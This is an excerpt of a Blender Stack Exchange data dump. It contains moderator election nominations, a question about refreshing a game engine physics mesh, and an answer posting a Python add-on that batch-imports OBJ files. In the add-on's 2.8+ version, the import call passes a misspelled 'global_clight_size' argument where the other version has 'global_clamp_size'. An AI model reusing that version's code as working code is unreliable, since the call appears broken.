could be misleading)&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-06-01T20:46:03.570" LastActivityDate="2015-06-01T20:46:03.570" CommentCount="3" CommunityOwnedDate="2015-06-01T20:38:09.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="31820" PostTypeId="6" CreationDate="2015-06-01T20:47:56.590" Score="0" Body="&lt;p&gt;Moderators are like referees, janitors, and pauper presidents rolled into one person. I am that person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been around BSE since the start, helped get the site to a critical mass in the first year, sat back and watched it grow steadily. In the past 2 years I've answered some crazy amount of questions, about 60% of my questions are accepted, aliens abducted and ran mind enimas on the other 40%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the community is already highly motivated and good at self regulating, but if we need moderators to push weight behind close/reopen/hold/flag votes, then that's what it takes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vote for me.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-01T21:03:20.153" LastActivityDate="2015-06-01T21:03:20.153" CommentCount="1" CommunityOwnedDate="2015-06-01T20:47:56.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="31821" PostTypeId="1" CreationDate="2015-06-01T20:53:46.000" Score="2" ViewCount="137" Body="&lt;p&gt;Is re-instancing a game object´s physics mesh possible after moving a vertex in the game engine using python? And how? And if it doesn't work why doesn't it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so I move a vertex in an in-game level editor to sculpt the landscape. My brush is moving to the hit position of the mouse. And when I move a vertex the brush stays where it is and does not move to the new vertex position because the physics mesh does not update. I have got a plane for example. I click with my brush on it. Now there´s a big bubble in the middle of the plane. Normally the brush should go to updated surface but it 'thinks' that there´s just the plane from before and nothing has changed. I tried &lt;code&gt;obj.reinstancePhysicsMesh()&lt;/code&gt; already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took some screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Z9Sw.jpg&quot; alt=&quot;&quot;&gt;&#xA;Before moving the vertices. As you can see the physics mesh is still as it´s supposed to be. The red thing is the brush ^^&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBi6H.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After moving the vertices. As you can see the visual mesh changed but not the physical mesh =&gt; The brush stays were it is.&lt;/p&gt;&#xA;" OwnerUserId="14752" LastEditorUserId="14752" LastEditDate="2016-07-21T16:21:15.233" LastActivityDate="2016-07-21T16:21:15.233" Title="Reinstance Physics Mesh" Tags="&lt;python&gt;&lt;mesh&gt;&lt;objects&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31822" PostTypeId="6" CreationDate="2015-06-01T20:59:01.867" Score="0" Body="&lt;p&gt;I feel that my consistent track record of activity and dedication to this site speak for my ability to make me a good moderator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of my achievements on BSE.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have the most &lt;a href=&quot;http://goo.gl/FPQvwh&quot; rel=&quot;nofollow&quot;&gt;edits&lt;/a&gt; (one of only 3 to have the Copy Editor badge).&lt;/li&gt;&#xA;&lt;li&gt;I have the most helpful flags (flag counts are visible on user pages).&lt;/li&gt;&#xA;&lt;li&gt;I have the most reviews for all standard review types except for suggested edits (see point one) combined totals 2670+ reviews.&lt;/li&gt;&#xA;&lt;li&gt;I have written the 8th most answers.&lt;/li&gt;&#xA;&lt;li&gt;First and only to get the &lt;a href=&quot;http://blender.stackexchange.com/help/badges/79/research-assistant&quot;&gt;research assistant&lt;/a&gt; badge.&lt;/li&gt;&#xA;&lt;li&gt;I am the fourth non-mod user to make a &lt;a href=&quot;http://blender.stackexchange.com/tags/synonyms&quot;&gt;tag synonym&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I collected the most &lt;a href=&quot;http://bit.ly/1Q0W92e&quot; rel=&quot;nofollow&quot;&gt;hats&lt;/a&gt; on BSE (19th on the entire SE network)&lt;/li&gt;&#xA;&lt;li&gt;I have continually worked to keep our tags in order. I have created or  restructured these tags: &lt;a href=&quot;/questions/tagged/transparency&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;transparency&amp;#39;&quot; rel=&quot;tag&quot;&gt;transparency&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/logic-bricks&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;logic-bricks&amp;#39;&quot; rel=&quot;tag&quot;&gt;logic-bricks&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/3d-view&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;3d-view&amp;#39;&quot; rel=&quot;tag&quot;&gt;3d-view&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/documentation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;documentation&amp;#39;&quot; rel=&quot;tag&quot;&gt;documentation&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/texture-baking&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;texture-baking&amp;#39;&quot; rel=&quot;tag&quot;&gt;texture-baking&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/baking&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;baking&amp;#39;&quot; rel=&quot;tag&quot;&gt;baking&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/path&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;path&amp;#39;&quot; rel=&quot;tag&quot;&gt;path&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/curves&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;curves&amp;#39;&quot; rel=&quot;tag&quot;&gt;curves&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/nurbs-surface&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;nurbs-surface&amp;#39;&quot; rel=&quot;tag&quot;&gt;nurbs-surface&lt;/a&gt; and more.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I look forward to talking with each of you and earning your vote.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-06-06T21:49:07.023" LastActivityDate="2015-06-06T21:49:07.023" CommentCount="17" CommunityOwnedDate="2015-06-01T20:59:01.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="31823" PostTypeId="6" CreationDate="2015-06-01T21:00:25.620" Score="0" Body="&lt;p&gt;Hi all. I've been your friendly neighborhood moderator for almost 2 years now (could be 2 since I was the first 4k user with mod privileges) and I'd like to keep my job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my time as a mod, I've &lt;em&gt;literally&lt;/em&gt; shouldered the majority of the weight of keeping our site spam free and healthy for significant periods of time. I was amongst the first set of users to join (number 12) and I've not missed a single day since then, currently at 741 consecutive days. You can usually find me here prowling pretty much anytime of the day and a ping will summon me within the hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've handled hundreds of flags, cast thousands of votes, reviewed, closed and edited hundreds of questions and the list goes on, not to mention extensive promotion across social mediums, reddit etc. I like to curate content and ensure that our site has and maintains a high standard of quality. I leave comments where necessary and prompt for info as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want our site to be &lt;strong&gt;&lt;em&gt;the&lt;/em&gt;&lt;/strong&gt; blender resource, even ahead of the wiki! I'm as active on meta as I am on the main site and I'm in chat every other day. I'm as fair as I'm strict and transparent and hope to continue leading this community forward.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-06-01T21:00:25.620" LastActivityDate="2015-06-01T21:00:25.620" CommentCount="6" CommunityOwnedDate="2015-06-01T21:00:25.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="31824" PostTypeId="2" ParentId="31420" CreationDate="2015-06-01T21:27:37.380" Score="0" Body="&lt;p&gt;I found a way to do it in the compositor. I made a mask around the usable overlay video I wanted, then inserted a mask-node of it through an invert-node and into the factor of the alpha-over node. &lt;/p&gt;&#xA;" OwnerUserId="14753" LastActivityDate="2015-06-01T21:27:37.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31825" PostTypeId="2" ParentId="5064" CreationDate="2015-06-01T21:44:03.623" Score="23" Body="&lt;p&gt;The following Add-on allows to &lt;strong&gt;import multiple Wavefront OBJ files&lt;/strong&gt; at once.&lt;/p&gt;&#xA;&lt;p&gt;By using the file browser the import process is &lt;em&gt;platform independent&lt;/em&gt;. Also all usual options like &lt;em&gt;Forward Axis&lt;/em&gt;, &lt;em&gt;Up Axis&lt;/em&gt; or &lt;em&gt;Clamp Size&lt;/em&gt; are available.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jfR50.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jfR50.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;&lt;code&gt;io_batch_import_objs.py&lt;/code&gt; (updated for 2.92+)&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;# &amp;lt;pep8 compliant&amp;gt;&#xA;&#xA;&#xA;bl_info = {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;Batch Import Wavefront (.obj)&amp;quot;,&#xA;    &amp;quot;author&amp;quot;: &amp;quot;p2or&amp;quot;,&#xA;    &amp;quot;version&amp;quot;: (0, 1, 0),&#xA;    &amp;quot;blender&amp;quot;: (2, 92, 0),&#xA;    &amp;quot;location&amp;quot;: &amp;quot;File &amp;gt; Import-Export&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;Import multiple OBJ files, UV's, materials&amp;quot;,&#xA;    &amp;quot;warning&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;wiki_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;tracker_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;category&amp;quot;: &amp;quot;Import-Export&amp;quot;}&#xA;&#xA;&#xA;import bpy&#xA;import os&#xA;&#xA;from bpy_extras.io_utils import ImportHelper&#xA;&#xA;from bpy.props import (BoolProperty,&#xA;                       FloatProperty,&#xA;                       StringProperty,&#xA;                       EnumProperty,&#xA;                       CollectionProperty&#xA;                       )&#xA;&#xA;&#xA;class ImportMultipleObjs(bpy.types.Operator, ImportHelper):&#xA;    &amp;quot;&amp;quot;&amp;quot;Batch Import Wavefront obj&amp;quot;&amp;quot;&amp;quot;&#xA;    bl_idname = &amp;quot;import_scene.multiple_objs&amp;quot;&#xA;    bl_label = &amp;quot;Import multiple OBJ's&amp;quot;&#xA;    bl_options = {'PRESET', 'UNDO'}&#xA;&#xA;    # ImportHelper mixin class uses this&#xA;    filename_ext = &amp;quot;.obj&amp;quot;&#xA;&#xA;    filter_glob = StringProperty(&#xA;            default=&amp;quot;*.obj&amp;quot;,&#xA;            options={'HIDDEN'},&#xA;            )&#xA;&#xA;    # Selected files&#xA;    files: CollectionProperty(type=bpy.types.PropertyGroup)&#xA;&#xA;    # List of operator properties, the attributes will be assigned&#xA;    # to the class instance from the operator settings before calling.&#xA;    edges_setting: BoolProperty(&#xA;            name=&amp;quot;Lines&amp;quot;,&#xA;            description=&amp;quot;Import lines and faces with 2 verts as edge&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    smooth_groups_setting: BoolProperty(&#xA;            name=&amp;quot;Smooth Groups&amp;quot;,&#xA;            description=&amp;quot;Surround smooth groups by sharp edges&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    split_objects_setting: BoolProperty(&#xA;            name=&amp;quot;Object&amp;quot;,&#xA;            description=&amp;quot;Import OBJ Objects into Blender Objects&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    split_groups_setting: BoolProperty(&#xA;            name=&amp;quot;Group&amp;quot;,&#xA;            description=&amp;quot;Import OBJ Groups into Blender Objects&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    groups_as_vgroups_setting: BoolProperty(&#xA;            name=&amp;quot;Poly Groups&amp;quot;,&#xA;            description=&amp;quot;Import OBJ groups as vertex groups&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    image_search_setting: BoolProperty(&#xA;            name=&amp;quot;Image Search&amp;quot;,&#xA;            description=&amp;quot;Search subdirs for any associated images &amp;quot;&#xA;                        &amp;quot;(Warning, may be slow)&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    split_mode_setting: EnumProperty(&#xA;            name=&amp;quot;Split&amp;quot;,&#xA;            items=(('ON', &amp;quot;Split&amp;quot;, &amp;quot;Split geometry, omits unused verts&amp;quot;),&#xA;                   ('OFF', &amp;quot;Keep Vert Order&amp;quot;, &amp;quot;Keep vertex order from file&amp;quot;),&#xA;                   ),&#xA;            )&#xA;    clamp_size_setting: FloatProperty(&#xA;            name=&amp;quot;Clamp Size&amp;quot;,&#xA;            description=&amp;quot;Clamp bounds under this value (zero to disable)&amp;quot;,&#xA;            min=0.0, max=1000.0,&#xA;            soft_min=0.0, soft_max=1000.0,&#xA;            default=0.0,&#xA;            )&#xA;    axis_forward_setting: EnumProperty(&#xA;            name=&amp;quot;Forward&amp;quot;,&#xA;            items=(('X', &amp;quot;X Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Y', &amp;quot;Y Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Z', &amp;quot;Z Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-X', &amp;quot;-X Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Y', &amp;quot;-Y Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Z', &amp;quot;-Z Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ),&#xA;            default='-Z',&#xA;            )&#xA;    axis_up_setting: EnumProperty(&#xA;            name=&amp;quot;Up&amp;quot;,&#xA;            items=(('X', &amp;quot;X Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Y', &amp;quot;Y Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Z', &amp;quot;Z Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-X', &amp;quot;-X Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Y', &amp;quot;-Y Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Z', &amp;quot;-Z Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ),&#xA;            default='Y',&#xA;            )&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row(align=True)&#xA;        row.prop(self, &amp;quot;smooth_groups_setting&amp;quot;)&#xA;        row.prop(self, &amp;quot;edges_setting&amp;quot;)&#xA;&#xA;        box = layout.box()&#xA;        row = box.row()&#xA;        row.prop(self, &amp;quot;split_mode_setting&amp;quot;, expand=True)&#xA;&#xA;        row = box.row()&#xA;        if self.split_mode_setting == 'ON':&#xA;            row.label(text=&amp;quot;Split by:&amp;quot;)&#xA;            row.prop(self, &amp;quot;split_objects_setting&amp;quot;)&#xA;            row.prop(self, &amp;quot;split_groups_setting&amp;quot;)&#xA;        else:&#xA;            row.prop(self, &amp;quot;groups_as_vgroups_setting&amp;quot;)&#xA;&#xA;        row = layout.split(factor=0.67)&#xA;        row.prop(self, &amp;quot;clamp_size_setting&amp;quot;)&#xA;        layout.prop(self, &amp;quot;axis_forward_setting&amp;quot;)&#xA;        layout.prop(self, &amp;quot;axis_up_setting&amp;quot;)&#xA;&#xA;        layout.prop(self, &amp;quot;image_search_setting&amp;quot;)&#xA;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        # get the folder&#xA;        folder = (os.path.dirname(self.filepath))&#xA;&#xA;        # iterate through the selected files&#xA;        for i in self.files:&#xA;&#xA;            # generate full path to file&#xA;            path_to_file = (os.path.join(folder, i.name))&#xA;&#xA;            # call obj operator and assign ui values                  &#xA;            bpy.ops.import_scene.obj(&#xA;                                filepath = path_to_file,&#xA;                                axis_forward = self.axis_forward_setting,&#xA;                                axis_up = self.axis_up_setting, &#xA;                                use_edges = self.edges_setting,&#xA;                                use_smooth_groups = self.smooth_groups_setting, &#xA;                                use_split_objects = self.split_objects_setting,&#xA;                                use_split_groups = self.split_groups_setting,&#xA;                                use_groups_as_vgroups = self.groups_as_vgroups_setting,&#xA;                                use_image_search = self.image_search_setting,&#xA;                                split_mode = self.split_mode_setting,&#xA;                                global_clamp_size = self.clamp_size_setting)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# Only needed if you want to add into a dynamic menu&#xA;def menu_func_import(self, context):&#xA;    self.layout.operator(ImportMultipleObjs.bl_idname, text=&amp;quot;Wavefront Batch (.obj)&amp;quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ImportMultipleObjs)&#xA;    bpy.types.TOPBAR_MT_file_import.append(menu_func_import)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ImportMultipleObjs)&#xA;    bpy.types.TOPBAR_MT_file_import.remove(menu_func_import)&#xA;&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    #bpy.ops.import_scene.multiple_objs('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;io_batch_import_objs.py&lt;/code&gt; (updated for 2.8+)&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;# &amp;lt;pep8 compliant&amp;gt;&#xA;&#xA;&#xA;bl_info = {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;Batch Import Wavefront (.obj)&amp;quot;,&#xA;    &amp;quot;author&amp;quot;: &amp;quot;p2or&amp;quot;,&#xA;    &amp;quot;version&amp;quot;: (0, 1, 0),&#xA;    &amp;quot;blender&amp;quot;: (2, 80, 0),&#xA;    &amp;quot;location&amp;quot;: &amp;quot;File &amp;gt; Import-Export&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;Import multiple OBJ files, UV's, materials&amp;quot;,&#xA;    &amp;quot;warning&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;wiki_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;tracker_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;category&amp;quot;: &amp;quot;Import-Export&amp;quot;}&#xA;&#xA;&#xA;import bpy&#xA;import os&#xA;&#xA;from bpy_extras.io_utils import ImportHelper&#xA;&#xA;from bpy.props import (BoolProperty,&#xA;                       FloatProperty,&#xA;                       StringProperty,&#xA;                       EnumProperty,&#xA;                       CollectionProperty&#xA;                       )&#xA;&#xA;&#xA;class ImportMultipleObjs(bpy.types.Operator, ImportHelper):&#xA;    &amp;quot;&amp;quot;&amp;quot;Batch Import Wavefront obj&amp;quot;&amp;quot;&amp;quot;&#xA;    bl_idname = &amp;quot;import_scene.multiple_objs&amp;quot;&#xA;    bl_label = &amp;quot;Import multiple OBJ's&amp;quot;&#xA;    bl_options = {'PRESET', 'UNDO'}&#xA;&#xA;    # ImportHelper mixin class uses this&#xA;    filename_ext = &amp;quot;.obj&amp;quot;&#xA;&#xA;    filter_glob = StringProperty(&#xA;            default=&amp;quot;*.obj&amp;quot;,&#xA;            options={'HIDDEN'},&#xA;            )&#xA;&#xA;    # Selected files&#xA;    files: CollectionProperty(type=bpy.types.PropertyGroup)&#xA;&#xA;    # List of operator properties, the attributes will be assigned&#xA;    # to the class instance from the operator settings before calling.&#xA;    edges_setting: BoolProperty(&#xA;            name=&amp;quot;Lines&amp;quot;,&#xA;            description=&amp;quot;Import lines and faces with 2 verts as edge&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    smooth_groups_setting: BoolProperty(&#xA;            name=&amp;quot;Smooth Groups&amp;quot;,&#xA;            description=&amp;quot;Surround smooth groups by sharp edges&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    split_objects_setting: BoolProperty(&#xA;            name=&amp;quot;Object&amp;quot;,&#xA;            description=&amp;quot;Import OBJ Objects into Blender Objects&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    split_groups_setting: BoolProperty(&#xA;            name=&amp;quot;Group&amp;quot;,&#xA;            description=&amp;quot;Import OBJ Groups into Blender Objects&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    groups_as_vgroups_setting: BoolProperty(&#xA;            name=&amp;quot;Poly Groups&amp;quot;,&#xA;            description=&amp;quot;Import OBJ groups as vertex groups&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    image_search_setting: BoolProperty(&#xA;            name=&amp;quot;Image Search&amp;quot;,&#xA;            description=&amp;quot;Search subdirs for any associated images &amp;quot;&#xA;                        &amp;quot;(Warning, may be slow)&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    split_mode_setting: EnumProperty(&#xA;            name=&amp;quot;Split&amp;quot;,&#xA;            items=(('ON', &amp;quot;Split&amp;quot;, &amp;quot;Split geometry, omits unused verts&amp;quot;),&#xA;                   ('OFF', &amp;quot;Keep Vert Order&amp;quot;, &amp;quot;Keep vertex order from file&amp;quot;),&#xA;                   ),&#xA;            )&#xA;    clamp_size_setting: FloatProperty(&#xA;            name=&amp;quot;Clamp Size&amp;quot;,&#xA;            description=&amp;quot;Clamp bounds under this value (zero to disable)&amp;quot;,&#xA;            min=0.0, max=1000.0,&#xA;            soft_min=0.0, soft_max=1000.0,&#xA;            default=0.0,&#xA;            )&#xA;    axis_forward_setting: EnumProperty(&#xA;            name=&amp;quot;Forward&amp;quot;,&#xA;            items=(('X', &amp;quot;X Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Y', &amp;quot;Y Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Z', &amp;quot;Z Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-X', &amp;quot;-X Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Y', &amp;quot;-Y Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Z', &amp;quot;-Z Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ),&#xA;            default='-Z',&#xA;            )&#xA;    axis_up_setting: EnumProperty(&#xA;            name=&amp;quot;Up&amp;quot;,&#xA;            items=(('X', &amp;quot;X Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Y', &amp;quot;Y Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Z', &amp;quot;Z Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-X', &amp;quot;-X Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Y', &amp;quot;-Y Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Z', &amp;quot;-Z Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ),&#xA;            default='Y',&#xA;            )&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row(align=True)&#xA;        row.prop(self, &amp;quot;smooth_groups_setting&amp;quot;)&#xA;        row.prop(self, &amp;quot;edges_setting&amp;quot;)&#xA;&#xA;        box = layout.box()&#xA;        row = box.row()&#xA;        row.prop(self, &amp;quot;split_mode_setting&amp;quot;, expand=True)&#xA;&#xA;        row = box.row()&#xA;        if self.split_mode_setting == 'ON':&#xA;            row.label(text=&amp;quot;Split by:&amp;quot;)&#xA;            row.prop(self, &amp;quot;split_objects_setting&amp;quot;)&#xA;            row.prop(self, &amp;quot;split_groups_setting&amp;quot;)&#xA;        else:&#xA;            row.prop(self, &amp;quot;groups_as_vgroups_setting&amp;quot;)&#xA;&#xA;        row = layout.split(factor=0.67)&#xA;        row.prop(self, &amp;quot;clamp_size_setting&amp;quot;)&#xA;        layout.prop(self, &amp;quot;axis_forward_setting&amp;quot;)&#xA;        layout.prop(self, &amp;quot;axis_up_setting&amp;quot;)&#xA;&#xA;        layout.prop(self, &amp;quot;image_search_setting&amp;quot;)&#xA;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        # get the folder&#xA;        folder = (os.path.dirname(self.filepath))&#xA;&#xA;        # iterate through the selected files&#xA;        for i in self.files:&#xA;&#xA;            # generate full path to file&#xA;            path_to_file = (os.path.join(folder, i.name))&#xA;&#xA;            # call obj operator and assign ui values                  &#xA;            bpy.ops.import_scene.obj(&#xA;                                filepath = path_to_file,&#xA;                                axis_forward = self.axis_forward_setting,&#xA;                                axis_up = self.axis_up_setting, &#xA;                                use_edges = self.edges_setting,&#xA;                                use_smooth_groups = self.smooth_groups_setting, &#xA;                                use_split_objects = self.split_objects_setting,&#xA;                                use_split_groups = self.split_groups_setting,&#xA;                                use_groups_as_vgroups = self.groups_as_vgroups_setting,&#xA;                                use_image_search = self.image_search_setting,&#xA;                                split_mode = self.split_mode_setting,&#xA;                                global_clight_size = self.clamp_size_setting)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# Only needed if you want to add into a dynamic menu&#xA;def menu_func_import(self, context):&#xA;    self.layout.operator(ImportMultipleObjs.bl_idname, text=&amp;quot;Wavefront Batch (.obj)&amp;quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ImportMultipleObjs)&#xA;    bpy.types.TOPBAR_MT_file_import.append(menu_func_import)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ImportMultipleObjs)&#xA;    bpy.types.TOPBAR_MT_file_import.remove(menu_func_import)&#xA;&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    #bpy.ops.import_scene.multiple_objs('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Version for Blender 2.7x: &lt;a href=&quot;https://gist.github.com/p2or/6ee05b9656bcdca145e25c86fbc9e004&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/p2or/6ee05b9656bcdca145e25c86fbc9e004&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Installation&lt;/h3&gt;&#xA;&lt;p&gt;You can find general advice on how to install an Add-on &lt;a href=&quot;https://blender.stackexchange.com/a/1689/3710&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ttzpt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ttzpt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;em&gt;Install and activate the Add-on via User Preferences (Import-Export Category)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It is basically just a quick and dirty wrapper of &lt;a href=&quot;https://docs.blender.org/api/current/bpy.ops.import_scene.html#bpy.ops.import_scene.obj&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.ops.import_scene.obj&lt;/code&gt;&lt;/a&gt; operator until &lt;em&gt;batch import&lt;/em&gt; is supported. There is another Add-on in order to &lt;em&gt;export multiple obj files&lt;/em&gt; here: &lt;a href=&quot;https://blender.stackexchange.com/a/31852/3710&quot;&gt;Export multiple objects to .obj?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;@JuhaW added a &lt;em&gt;Scale setting&lt;/em&gt; to it, you can download the latest version &lt;a href=&quot;https://gist.github.com/p2or/af5bc4fae39b16f8d505&quot; rel=&quot;nofollow noreferrer&quot;&gt;from here&lt;/a&gt;.&lt;/p&gt;&#xA;" 